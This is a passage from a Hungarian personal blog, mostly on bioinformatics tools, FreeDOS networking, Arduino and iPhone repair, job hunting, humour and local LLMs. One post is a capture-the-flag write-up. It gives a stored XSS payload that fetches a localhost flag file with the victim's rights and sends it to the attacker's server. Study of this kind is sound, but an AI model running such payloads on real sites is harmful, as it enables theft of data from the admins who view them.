Peaks=c("peaks/C1/c1_peaks.narrowPeak", "peaks/C2/c2_peaks.narrowPeak", "peaks/EM1/em1_peaks.narrowPeak"),
PeakCaller=c("narrow","narrow","narrow","narrow"))

Ezután létrehozunk egy adatbázist a fenti információkkal:

sample <- dba(sampleSheet = sampleSheet)

Ha megvagyunk az adatbázis elkészítésével, jöhetnek az érdekes plotok. Először is egy PCA:

dba.plotPCA(samples, label=DBA_ID)

Ha a minták nem a kísérleti elrendezés szerint csoportosulnak, akkor valami gond van.

Homer

A Homer egy mindent az egyben csomag. Nagyon könnyű használni, a nehézségét az adja, hogy annyi minden van beleépítve, hogy elsőre a felhasználó azt sem tudja, mit futtasson. Dedikált QC elemzés nincs benne, nem ír ki számokat, de az elemzés során ad szöveges megjegyzéseket a minőséggel kapcsolatban. Például a peakCall parancs adhat ilyen eredményeket:

Guessing sample is ChIP-Seq - uneven enrichment between same strand and
different strands - may have problems such as clonal amplification.

IGV

Bár az IGV nem számol semmit, segít, hogy egy általános képünk legyen az illesztésről. Ha szemmel nem látunk feldúsuló readeket, akkor a programok sem fognak peakeket találni.

Szólj hozzá!

Címkék: bioinformatika

FreeDOS hálózati beállítás

2026.02.01. 14:29 Travis.CG

Korábban három kívánságom volt egy FreeDOS-os laptoppal kapcsolatban: 1 SoundBlaster beállításokkal legyen hangja, lehessen netezni vele, működjön az USB. A Compaq csak az utolsót tudta teljesíteni, azt is kritikán alul. Olyan lassú rajta az USB, hogy jobban megéri CD-ről bootolni egy Linuxot, csatolni a FreeDOS meghajtót, rámásolni a stuffot és újraindítani. Hálókártya pedig nincs rajta, csak valami PCMCIA kártyával lehetne netet varázsolni rá, de eddig nem találtam megfelelő hardvert.

Régi laptopot viszont könnyebb szerezni, mint hálókártyát. Van egy HP OmniBook XE4500-am. Az aksija természetesen halott volt, de még lehet hozzá kapni utángyártott alkatrészt, úgyhogy nem nekem kellett szerelni.

Hátrányai: kissebb felbontások a képernyő közepén vannak, hatalmas fekete sávval körbevéve. Az SBEmu nem szereti a hangkártyát, az felejtős. Apropó hang. A HP-nál egy mérnök remek ötletnek gondolta, hogy a beep teljes hangerőn robbanjon a beépített hangszórókon. Ha megnyomom a TAB-ot, és nincs olyan fájl, amire kiegészíthetné, akkorát szól a gép, hogy a lakás másik végén megijed a gyerek. Egyik alkalommal véletlenül megtöltöttem a billentyőzet puffert, mire folyamatos teljes hangerőn pittyegett. Egy üres jack dugót szoktam a fülhallgató kimenetbe kötni, azzal némítom. Miért nem némítom a BIOS-ban? Természetesen azért, mert a BIOS beállítások olyan limitáltak, mintha egy táskarádiót akarnék testre szabni.

Viszont gyorsabb, nagyobb tárhelye van, mint a Compaq gépnek, a ventillátor csendesebb.

ÉS MEGY AZ INTERNET!

A FreeDOS hálózati képességek lelke a packet driver. Ha találsz drivert a hálókártyához, akkor lesz net, egyébként meg nem. Sajnos a laptophoz elérhető doksik elég kezdetlegesek, a hálókártya típusát nem sikerült meghatározni, ezért Linux alól szedtem némi információt. A gyártónak a Crywnr bizonyult, úgyhogy leszedtem minden packet drivert, ami valamilyen módon kapcsolódik ehhez a gyártóhoz, rámásoltam a gépre, és elkezdtem próbálgatni. Végül a C83815 drivre bizonyult jónak. Csupán egyetlen paramétert kell megadni, a szoftveres megszakítás címét. Ez a legtöbb esetben a 0x60.

C83815.COM 0x60

Utána jönnek a programok. Mivel a DOS-ban nincs dedikált hálózati alrendszer, ezért a programok egy konfigurációs fájlon keresztül szedik az információt, hogyan is kapcsolódjanak a netre. Az első program a DHCP.EXE, ami ezt az állományt előállítja.

DHCP.EXE

A program beállítja az ip-t, DNS-t, stb. és letárolja az C:\FREEDOS\MTCP.CFG fájlba. Mikor láttam, hogy a gép ip-t kapott, nagyon örültem. Meg akartam pingelni a routert.

PING 192.168.0.1

Kaptam egy szép hibaüzenetet: "Your DHCP lease expires in less than 3600 seconds" A Gemini szerint ez azért van, mert rossz a driver. Gondoltam magamban, hogy ez egy hülyeség, mert akkor nem lenne a gépnek ip címe sem. Mint kiderült az AI ezt egy fórum bejegyzésből vette, ahol az egyik hozzászóló szóról-szóra ezt írta. Szóval csak óvatosan ezekkel a gyorsan generált válaszokkal! Megoldást nem találtam, de mivel a hibaüzenet egy érték miatt volt, kézzel átírtam a lease értéket jó nagyra. És onnantól ment a ping!

A következő ötletem az volt, hogy valami értelmeset is csináljunk a nettel. Weboldalak szóba sem jöhetnek, mert hozzájáruló nyilatkozatokra sem tudok ráklikkelni. Nézzük meg az FTP-t! Kik használnak még anoním FTP-t? Hát persze, hogy a scenerek! (Meg persze a bioinformatikusok, de mit kezdjek egy genommal FreeDOS-on?)

FTP FTP.SCENE.ORG

Beléptem, és letöltöttem Tomcat Kocka demóját, majd elindítottam.

 dosnet.jpg

Módosítom a kívánságlistát: Nem kell USB támogatás a FreeDOS-os laptopra. Működő net és hangkártya kell.

Szólj hozzá!

Címkék: rendszergazda

Házi riasztó készítés (3. rész)

2026.01.25. 17:29 Travis.CG

A riasztó fals jelzései nagyon aggasztottak, ezért elkezdtem kicsit jobban utánajárni a dolgoknak. Először is, megnéztem, mások mit tapasztaltak az ultrahang szenzor pontosságával kapcsolatban. Habár a szenzornak van hibája, másoknál ekkora hibát nem eredményezett, mint nálam. Valamit rosszul csináltam.

Először készítettem egy másik, egyszerűsített összeállítást, ahol csak egy Arduino és egy szenzor volt összekötve. A hiba mértéke sokkal kisebb volt. Ezután elkezdtem cserélgetni a komponenseket. Másik szenzort, másik Arduinót használtam (mert a riaszóban egy Arduinó klón volt), de a szórás továbbra is alacsony maradt. Még azt is megnéztem, hogyan változik a mérés pontossága, ha nem 5V-al, hanem csak 3V-al táplálom a szenzort, de a pontosságot csak nagyon kis mértékben befolyásolta, hibahatáron belül volt.

Ez csak egyetlen dolgot jelenthet: a szervómotor áramfelvétele befolyásolja a mérést. Az én összeállításomban ugyanis a szervót is az Arduinó látja el árammal, amit nem tartanak jó ötletnek, de mivel a próbapaneles összeállítás alatt jól működött, gondoltam figyelmen kívül hagyom a javaslatot. Úgy látszik ez mégsem volt bölcs dolog.

A rendszert átalakítottam, hogy a szervót külső áramforrásból tápláljam. Három félig lemerült gombelemet forrasztottam össze, ami 8,5V-ot adott le. Gondoltam elég lesz a tesztekhez. Feltöltöttem a a kódot, és reménykedtem.

Sajnos a külső áramforrás nem volt elég a motornak, pár halk kattogást leszámítva nem csinált semmit, de a fals risztások száma lecsökkent. Nem szűnt meg teljesen, de lecsökkent.

A prototípusból a következő következtetéseket tudom levonni: A motor használata nem jó ötlet. Elveszi az áramot a többi komponenstől, elmászik a helyéről a riasztó forgatás közben, a szerkezet instabil lesz . Csak a gond van vele. Jobb lett volna 3 ultrahang szenzort használni, amelyek különböző irányokba mutatnak, mint egyet forgatni.

Szólj hozzá!

Címkék: barkácsolás

The sticker shop CTF

2026.01.11. 11:23 Travis.CG

Csupán egyetlen kérdést tettek fel, hogy mi a http://ip_cim:8080/flag.txt tartalma. Hmm, akkor ez valami webes bűvészkedés lesz. Az nmap és többi kutyafülét teljesen ki lehet hagyni.

A böngészőbe természetesen 403-as hibát kapunk, ha megpróbáljuk megnyitni a kérdéses fájlt. Tehát rá kell venni valakit, hogy öntudatlanul nyissa meg nekünk :-)

A weboldal nagyon egyszerű, van rajta két kép, meg egy ígéretes komment küldési lehetőség, amit a leírás szereint valaki feldolgoz. Ez az! Ő lesz a célpont.

Elindítottam egy webszervert a gépemen:

python3 -m http.server 80

Készítettem egy darab png képet is mouse.png néven, ha már úgyis macskás képek vannak.

Az első kísérletek nagyon bíztatóak voltak. Ha a komment szekcióba beírom a következő sort:

<script>fetch("http://my_machine_ip/mouse.png");</script>

A saját gépem webszerverén láttam, hogy a képet letöltik. Ezek szerint semmilyen JavaScript szűrés nincs, a weboldalon cross-site scripting sérülékenység van. Szuper! A feladat akkor, hogy kell írni egy JavaScript kódot, ami a rendszergazda gépén lefut letölti a flag.txt tartalmát (mert az a gép korlátozás nélkül hozzáfér a flag.txt-hez) és elküldi nekem.

Ekkor döbbentem rá, hogy már nagyon-nagyon régen írtam JavaScript kódot, és a világ kicsit megváltozott azóta. Az első sorban biztos voltam:

const result = fetch("http://127.0.0.1:8080/flag.txt")

A komment olvasójának a flag.txt a localhost-on lesz, a fájl tartalmát be kell olvasni. Az utána következő sorok rendre kudarcot vallottak, mert nem tartalmazták a letöltött fájlt. Némi keresgélés után rájöttem, mi a baj. Ez a folyamat aszinkron, tehát csak akkor szabad a második lépésre mennem, ha a letöltés befelyeződött.

.then(response => response.text())

Ha pedig megvan a fájl tartalma, jöhet egy új kérés az én szerverem felé, ahol GET-es paraméterrel letöltöm az egeres képet.

.then(data => {
   return fetch("http://my_machine_ip/mouse.png?" + data);
})

Elküldtem a kommentet, és vártam a csodát. Fél percen belül láttam is a letöltést. A kérdőjel után ott volta flag!

Szólj hozzá!

Címkék: biztonság

Izzasztó interjúk

2026.01.04. 19:03 Travis.CG

- Bemutatkozna, kérem?
- A nevem Bond, James Bond.
- Az önéletrajza nagyon impozáns. Legalább húszszor megmentette a világot.
- Huszontötször, hogy pontos legyek.
- Nem jelölt meg fizetési igényt.
- Mert nem számít, egészen addig, amíg a gazdasági igazgatóval blackjack-ezhetek.
- Cégünk határozottan elítéli a blackjack-et.
- Texas hold'em-ben is jó vagyok.
- Félreértett. Nem toleráljuk a szerencsejátékot. Miért jelentkezett cégünkhöz?
- A HR-es kisasszonynak szép a mosolya.
- Nem, nem, nem. Cégünk irányelvei határozottan tiltják a szexista megnyilvánulásokat.
- Egy vodka-martini mellett megbeszélném vele a részleteket. A fülembe súghatná azokat a szexista megjegyzéseket, csak, hogy tudjam, mitől óvakodjak.
- Köszönjük, hogy időt szakított ránk!

 

- Megtudhatnánk a nevét?
- Jack Bauer.
- Hogyan viszonyul a túlórákhoz?
- Néhányszor 24 óráztam.
- Nem okoz gondot Önnek szétválasztani ilyen esetekben a magánéletet a munkájától?
- A kettő összekuszálódik nálam, de ha megoldom az egyiket, valahogy a másik is megoldódik.
- Értem. Az önéletrajzában említi, hogy unortodox megoldási módszerei vannak. Mondana egy példát?
- Egyszer levágtam egy pedofil fejét...
- Köszönjük...
- Lábon lőttem egy barátom feleségét.
- Elég lesz...
- Fegyverrel leszállásra kényszerítettem egy utasszállító gépet.
- Most jut eszünkbe, nem is akarunk felvenni senkit.

 

- Mr. Hunt, meséljen az erősségeiről!
- Művészi szinten rajzolok, négy nyelven beszélek, bármilyen járművet elvezetek, tudok szájról olvasni, fotografikus memóriám van, búvárkodom felszereléssel, és anélkül, puszta kezes hegymászás a hobbim, szeretek futni. Nagy nyomás alatt is jó döntéseket hozok. Remekül dolgozom csapatban és egyedül is.
- Nagyon meggyőző! Lássunk egy példát a jó döntéseire. Képzeljük el, hogy közösségi médiában egy hátrányos hír jelenik meg a cégről. Hogyan kezelné az esetet?
- Hagynám, hogy a hírt minél több médium átvegye.
- Ez nem tűnik produktívnak...
- Hadd fejezzem be. Hagynám, hogy a rossz hír minél jobban aláássa a cég hírnevét. Mikor kijönnek az adóhatóság emberei, akkor mindent magamra vállalok és elmenekülök. A hajsza során több országon keresztül utaznék, majd az utolsó pillanatban megoldanám a problémát. Valószínűleg egy másodperccel a cég teljes felszámolása előtt, valamilyen hajmeresztő mutatvány kíséretében.
- Kihagyná a vezetőséget minden döntéséből?
- A vezetőségnek feltétlenül bíznia kell bennem és a képességeimben, még akkor is, ha semmilyen információt nem adok nekik.
- Más megközelítést nem tud elképzelni?
- Higyje el, ha lenne más megoldás, azt tenném.
- Értem. Hogyan viszonyul a mesterséges inteligenciához.
- Nem kedvelem. MI nélkül is mindig a legjobb döntést hozom.

 

- Mr. Statham, úgy tűnik Önnek szerteágazó tapasztalata van a legkülönbözőbb munkakörökben.
- Valóban. Voltam sofőr, méhész, építőipari munkás és biztonsági őr is.
- Miért váltogatta a munkahelyeket?
- Bárhová kerültem, mindig feltűnt egy szervezett bűnözői csoport, akik ártottak a velem élő embereknek.
- Mi történt a bűnözőkkel?
- Meghaltak.
- Ennek van köze ahhoz, hogy Ön korábban különlegesen kiképzett katona/kommandós/black ops/titkos ügynök/bérgyilkos volt?
- Nem, ez csak szokatlan egybeesés.
- Szokott Ön mosolyogni?
- Csak ha méreg van a szervezetemben.

Szólj hozzá!

Címkék: irodalom

Iphone képernyő és aksi csere

2025.12.31. 12:59 Travis.CG

A nevelésben az egyik legfrusztrálóbb dolog, hogy hiába mondok valamit a gyereknek, tuti, hogy nem hallgat rám. Másodszor is elmondom, arra sem figyel. Ezért harmadszor már nem ismétlem el az intelmeket, csak hagyom, hogy fejjel menjen a falnak, és akkor emlékeztetem: már kétszer figyelmeztettelek.

Azt hittem, a taktika működik, és egy idő után rájön, hogy figyelnie kellene a szüleire, de nem. Mintha egy láthatatlan tolmács a fejében mindent félre fordítana.

Másfél évvel ezelőtt kért egy telefont. Én a korábbi akciói után annyit mondtam, hogy neki is spórolnia kell rá, nem fizetjük ki a teljes vételárat, és nem kaphat új készüléket, csak használtat. Valamint ez lesz az utolsó készülék, amit tőlünk megkap.

Miután megkapta az ajándékot, az elején nem is volt semmi gond. Ahogy telt az idő, úgy vált szegény készülék egyre több agresszió áldozatává. Végül a képernyő megadta magát. A feleségemmel tartottuk is magunkat az ígéretünkhöz, és nem cseréltük ki, nem adtunk pénzt a javításra. Gyermekem kénytelen volt az összespórolt pénzét új kijelzőre költeni. Javasoltam neki, hogy ha már úgyis szét kell szerelni, vegyen bele új aksit is. A rendelési folyamatba is bevontam, hogy lássa, milyen opciók vannak.

Mikor az alkatrész árakat látva húzta a száját (pedig ezek még utángyártott alkatrészek voltak, nem is eredetiek), mondtam neki, hogy egy szervíz pluszba munkadíjat is felszámolna, én viszont ingyen kicserélem. Ez lesz a karácsonyi ajándékom.

Az iFixIt utasításait követtem. A képernyő ragasztója nagyon nehezen engedett. Fél óra melegítés után tudtam egy kis rést ejteni rajta. Utána is elég nehéz volt, de legalább megindult a szétválasztás. A képernyő leemelése után apró, 1mm-es csavarokat kellett eltávolítani, hogy a szalagkábelek csatlakozóihoz hozzáférjek.

iphone1.jpg

A rossz akkumulátor eltávolítása sem volt zökkenőmentes. A ragasztó szalagokat nem tudtam kihúzni, mert eltépődött valamennyi. Etil-alkoholt fecskendeztem az összeragasztott felületek közé, csak utána tudtam csak kivenni az akkumulátort.

iphone2.jpg

A leírás szerint a szenzorokat is ki kellett volna kötni, de mivel nekem lejött az egész képernyő, nem értettem, erre miért van szükség. Kicsomagoltam az új képernyőt, és akkor jött a döbbenet. A cserealkatrészen apró fém fülek voltak, amelyek hiányoztak az eredetiből. Ráadásul az új képernyő nem akart a helyére menni.

Teljesen tanácstalan lettem. Egy videó, és a két képernyő összehasonlítása után viszont rájöttem, hogy én nem kiszereltem a képernyőt, hanem szétszedtem azt. Egy műanyag keret továbbra is a telefonban van! Fogalmam sem volt, hogyan fogom onnan kibányászni. A videón egy pengével vágták körbe a képernyő és a hátlap közötti részt, így én is ezt tettem.

A keret eltávolítása után jöttem rá, miért kell a szenzorokat is kiszerelni. Azok ugyanis ebben a keretben foglaltak helyet. Ezt a lépést nagyon óvatosan csináltam, mert a szenzorok egy nagyon vékony kábel különböző pontjain helyezkedtek el, és nem akartam elszakítani semmit.

iphone3.jpg

A szenzorokat áthelyeztem az új képernyő megfelelő helyeire és visszakötöttem mindent. A kis csavarok persze nem akartak a helyükre ugrani, sőt többször össze is kevertem, melyik csavar melyik helyre megy. Alig láttam a hornyokat, így az sem volt egyértelmű, melyik bit kell a 144-ből, hogy be tudjam hajtani. A legjobban akkor izzadtam le, mikor ezek a pici vackok leestek a földre. Még szerencse, hogy a mágnes gyorsan megtalálta mindet.

iphone4.jpg

Sok próbálgatás után minden alkatrész a helyére került. Egy profi biztosan pár óra alatt megoldotta volna, nekem 13 óra volt, mire ismét be tudtuk kapcsolni. Viszont működött! Illetve először az iOS torkán is le kellett nyomni a szervízelést.

A bekapcsolás után ugyanis elkezdett nyivákolni, hogy nem eredetiek az alkatrészek, és nem tudja ellenőrizni az állapotukat. Az első 1-2 töltés szenvedés volt. Éjjel, kikapcsolt állapotban teljesen lemerült. Kiderült lányom a töltőkábellel sem bánt túl humánusan, az is kontakt hibás volt. Az Ultimate64-hez használt tápegységem sem volt elég jó ennek a nyomorult készüléknek, egyfolytában "lassú töltés" üzenetet adott. Miért nem elég neki 65W-t? A kábelcsere utána normalizálódott a helyzet, de addig kaptam a fejemre a lányomtól: Tönkretetted! Teljesen használhatatlan! Ez a te hibád! Nem fizetem ki az alkatrészeket, mert nem működik a telefon!

A javítás idejére odaadtam az egyik telefonomat, hogy azt használja. Hallottam, amikor a barátaival beszélgetett: Most apa telóját használom, olyan régi, hogy még emoji sincs rajta. Rossz helyen van az Y, mert ez egy béna telo. Laggolok!

Pedig nem is a PinePhone-t kellett használnia. Az lett volna csak a kultursokk!

A tablet szerelése után elég jól tudtam hasznosítani a hibás képernyőt, de az IPhone-ból semmi használhatót nem lehetett kinyerni.

1 komment

Címkék: barkácsolás

És amire jó vagyok

2025.12.20. 18:31 Travis.CG

Az előző poszt után nem sokkal rendeződtek a dolgok. Bár az NKFI pályázatba nem fértem bele, mert nem voltam elég fiatal, később kiderült, hogy van a csoportnak egy másik pályázata is, amiből tudnak fizetni nekem. Olyan gyorsan változnak a dolgok, hogy nem tudok velük lépést tartani.

Érdekes lett volna kipróbálni új dolgokat, megnézni, képes vagyok-e valami másra is, de nem jött össze. Úgyhogy maradok bioinformatikus. Ahogy Rambo mondja:

 

Szólj hozzá!

Címkék: életmód

Amire nem vagyok jó

2025.12.18. 11:49 Travis.CG

Úgy tudtam, nyárig van szerződésem, de kiderült ez sem igaz. A szerződés hosszabbítás csak December végéig szólt, amitől kicsit sürgetőbbé vált, hogy találjak valamit. Kiderült, ha lesz is szerződésem januárban, az sem nyárig, hanem már korábban lejár. Ezt is a munkaügyön tudtam meg.

Tehát mégtöbb helyre beadtam az önéletrajzomat. A következő állásokra vagyok alkalmatlan. A számok azt jelzik, hányszor utasítottak el (bár tényleges elutasítást csak 3-4 esetben kaptam, a többinél egyszerűen nem válaszoltak, és ha eltelt 20 nap, akkor úgy gondoltam, már nem is fognak).

  • SOC Analyst: 2
  • Python programozó: 1
  • PHP programozó: 1
  • Etikus hacker: 4
  • Ügyintézői alkalmazott: 1
  • Junior információbiztonsági szakértő: 1
  • Pentester: 5
  • Molekuláris biológus: 1
  • Data scientist: 2
  • DevOps rendszermérnök: 1
  • Bioinformatikus: 1
  • Senior Computational Biologist: 1
  • C fejlesztő: 1

Nagyon vigyáztam, hogy fizetési igényet ne jelöljek be. Ha mégis kötelező volt, akkor a mostani fizetésemnél alacsonyabb igényt írtam be. A bioinformatikus állásra legalább az első körös interjúra behívtak, ami csak a komptenciákat mérte fel, de úgy látszik, ott sem feleltem meg, mert a második körre már nem került sor. A cybersecurity pozíciók elutasításán annyira nem lepődtem meg, mert nincs szakmai tapasztalatom, de hogy PHP programozónak sem feleltem meg az sértette a hiúságom. Úgy értem, abban tényleg van tapasztalatom, tudtam felmutatni referenciákat, ráadásul egy kisvárosban volt az állás, ahol úgy gondoltam talán kisebb a konkurencia is.

A nagy állásgyűjtő portálok esetén mindig megnéztem, hogy a cég weboldalán fent van-e ugyan az a hirdetés, és csak utána jelentkeztem, mert sok esetben régi, már betöltött állások is fentmaradnak.

A Profession-ön keresztül három állásra jelentkeztem. Ennek az volt az előnye, hogy visszajeleztek nekem, ha elolvasták az önéletrajzomat. Erre általában a jelentkezés benyújtása után a 10. naptári nappal került sor. (Egy esetben egyáltalán nem nézték meg.)

Nem tudom, mi lehet az oka, hogy semmihez nem értek, de az egyik lehetséges okról hallgattam egy podcastot az IT területén tapasztalható életkori diszkriminációról. Az ott hallottak nagyon elkeserítettek. Főleg, mert a két résztvevő rögtön azzal kezdte, hogy lehúzta az idősebb kollégákat, mondván, nem is olyan meglepő, hogy nem akarják őket alkalmazni, mert ők már nem akarnak új dolgokat tanulni, nincs bennük lendület, csak a kényelmes, biztos állásra vágynak. Nem akarnak túlórázni, nem akarják feláldozni magukat a cégért, mint a fiatalok.

Utána a fejvadász átment védekező állásba. Ő ugyanis nem tehet semmit, ha a cég eleve fiatalokat kér, akkor ő kénytelen fiatalokat szállítani. Ezzel a saját felelősségét hárította is. Igaz, utána némileg ellentmondva arról mesélt, hogy mégis "átnyomott" egy idősebb embert a rendszeren. Végül megemlítettek egy "példaértékű" negyvenest, aki egész nap ott ül a gép előtt, hangosan veri a billentyűzetet, még ebédelni sem megy el a többiekkel, csak a kódsorral törődik. (Talán csak retteg, hogy kirúghatják és túlkompenzál.)

A podcast említett megoldást is. Tanulni kell, képezni magadat, bla bla bla. Kérdem én, ha egy jelöltet rögtön az életkor alapján elutasítanak, akkor nem fogják megnézni, mennyit tanult. Esélye sincs megmutatni a tudását. A YouTube megmondóemberek az otthoni labort, blogot szokták megemlíteni. Nekem ezek is vannak, de nem látom, hogy akkora előnyük lenne.

Arról is beszéltek, hogy vannak, akik elrejtik a korukat. Leszednek minden dátumot a Linkedin-ről, maszkolják az önéletrajzot, hogy legalább interjúra behívják őket. Én ezzel nem akarok élni. Először is, az interjún úgyis kiderül a trükk, másodrészt nem hiszem, hogy bocsánatot kellene kérnem a korom miatt. Miért vágjak jó pofát az interjún olyanoknak, akik a születési évemből következtetik ki a képességeimet? Inkább be se hívjanak.

Aminek viszont tényleg van jelentősége, az a kapcsolati háló. Egy ismerősön keresztül sikerült kapcsolatba kerülni egy másik kutatócsoporttal, akik epigenetikával foglalkoznak, nyertek pályázatot, és szeretnének bioinformatikust felvenni. Megbeszéltük, hogy kapok egy adatsort, amivel játszhatok, miközben azt is láthatják, hogyan dolgozom. A próba egy-két zökkenőtől eltekintve szerintem jól ment. Mikor a szerződés részleteiről kezdtünk beszélni, akkor tudtam meg, hogy a pályázatba fiatal kutatót írtak, aki 7 éven belül szerezte meg a PhD-ját. Ha 17 év lenne a határ, abba még beleférnék. Még vizsgálják, hogy milyen lehetőségek vannak. Talán még szerencsém is lesz.

Úgy tűnik, a másik tényező, ami álláshoz juttatja az embert, a szerencse. Nem is veszek több kaparós sorsjegyet, az álláskeresés izgalmasabb szerencsejáték.

Szólj hozzá!

Címkék: életmód

Készítsünk gyagyaGPT-t

2025.12.09. 15:30 Travis.CG

Már annyi nagy nyelvi modell van körülöttünk, mint szúnyog a nyári estéken, Korábban nem volt nagy véleményem a technológiáról, mert nem láttam, hogy mi újat tudna nyújtani nekem. Igazából most sem vagyok rácuppanva, de mondjuk úgy, nyitottabb lettem, és kíváncsi lettem, milyen lehetőségek vannak benne. (Vibe coding-ot meg a hasonló hülyeségeket most hagyjuk.)

 Amire én kíváncsi vagyok, mit tudok kezdeni egy LLM-el, amit nem nagy cégek akarnak rámtukmálni drága előfizetésért, és olyan szolgáltatásokkal karöltve, amire nincs szükségem. Egy lokális modellre van szükségem, amit én irányítok.

Ez nem is olyan bonyolult, van rá számtalan módszer. Nyilván egy lokális verzió nem fog versenyre kelni egy kereskedelmi verzióval, de nem is ez a lényeg, hanem a maximális kontroll.

LM Studio

A legegyszerűbb választás az LM Studio. Egy grafikus felhasználói felülettel ellátott program. Fut Windows-on, Linuxon, még az én öreg Slackware-emen is. Klikkeléssel letölti a modellt is (gpt-oss-20b), amit használni akarunk, és már meg is kérdezhetjük, milyen kövér az asszony.

Előnye, hogy könnyen tudunk fájlokat hozzáadni (akár képet is), a szöveg gazdagon formázható, amitől szép lesz a válasz is.

lmstudio.png

Ollama

Az Ollama egy parancssoros nagy nyelvi modell futtató környezet a Meta-tól, de nyílt forráskódú. Megy Linuxon, Mac-en és Windows-on is, tudja használni a GPU-t is. Először el kell indítani a szolgáltatást:

ollama start

Ezután le kell tölteni a modellt. Van lehetőség felhő alapú futtatásra is, de most a lokális elhetőségeket akarom bemutatni.

ollama pull gemma3:270m

Ez az egyik legkisebb modellt fogja letölteni, ami kb. 300Mb tárhelyet foglal. Utána már használhatjuk is.

ollama run gemma3:270m

Megjelenik a prompt, mi meg írhatunk. Ez egy nagyon kis modell, viszont gyorsan generál rövid válaszokat. Például ha megkérdezem tőle, hogy ki fedezte fel a DNS-t, akkor azt válaszolja, hogy Martin Griffith, aki a Berkley egyetemen dolgozott. James Watson pedig a Watson-Watson vakcina kifejlesztője. Rendkívül tanúságos.

llama.cpp

Mint már sejthetitek, ez a legmelósabb. Teljesen nyílt forráskódú, nekünk kell lefordítani. Csak CPU-n is elzakatol, de ha van Cuda, akkor GPU-n futó változatot is fordíthatunk. Először letöltjük GitHub-ról:

git clone https://github.com/ggml-org/llama.cpp
cd llama.cpp
mkdir build
cd build

Utána fordíthatjuk a programot. Ha van 10 felesleges processzormagunk, akkor a -j 10 opcióval gyorsíthatjuk a folyamatot.

cmake -B build -DGGML_CUDA=ON ..
cmake --build build --config Release -j 10

 A program a GGUF formátumú modelleket tudja használni, de nincs semmi ellenőrzés benne, ezért előfordulhat, hogy rossz modell esetén a szokásosnál is hülyébb válaszokat generál. Például én először a stabilityAI stable-code-3b modellel próbálkoztam, és nagyon furcsán viselkedett a program. Elkezdett írni egy választ, majd végtelen ciklusban ismételgette az utolsó mondatot. De lássuk, hogyan is lehet használni:

llama.cpp -hf ggml-org/gemma-3-1b-it-GGUF

Letölti a HuggingFace-ről a kívánt modellt. A fájl Linux esetén a .cache/llama.cpp/ könyvtárban lesz. Ha használni akarjuk, akkor -m opcióval tehetjük meg.

llama.cpp -m ggml-org_gemma-3-1b-it-GGUF_gemma-3-1b-it-Q4_K_M.gguf --offline

Igen, a fájl neve kicsit megváltozik.

A fent bemutatott három módszer mindegyikével képesek leszünk saját környezetben futtatni nagy nyelvi modelleket. Az egyetlen limitáció a hardver vagy az internet sávszélességünk, amikor letöltjük a modellt. Utána ha felfordul a CloudFlare, akkor is tudunk hallucinációkon röhögni.

Szólj hozzá!

Címkék: machine learning

süti beállítások módosítása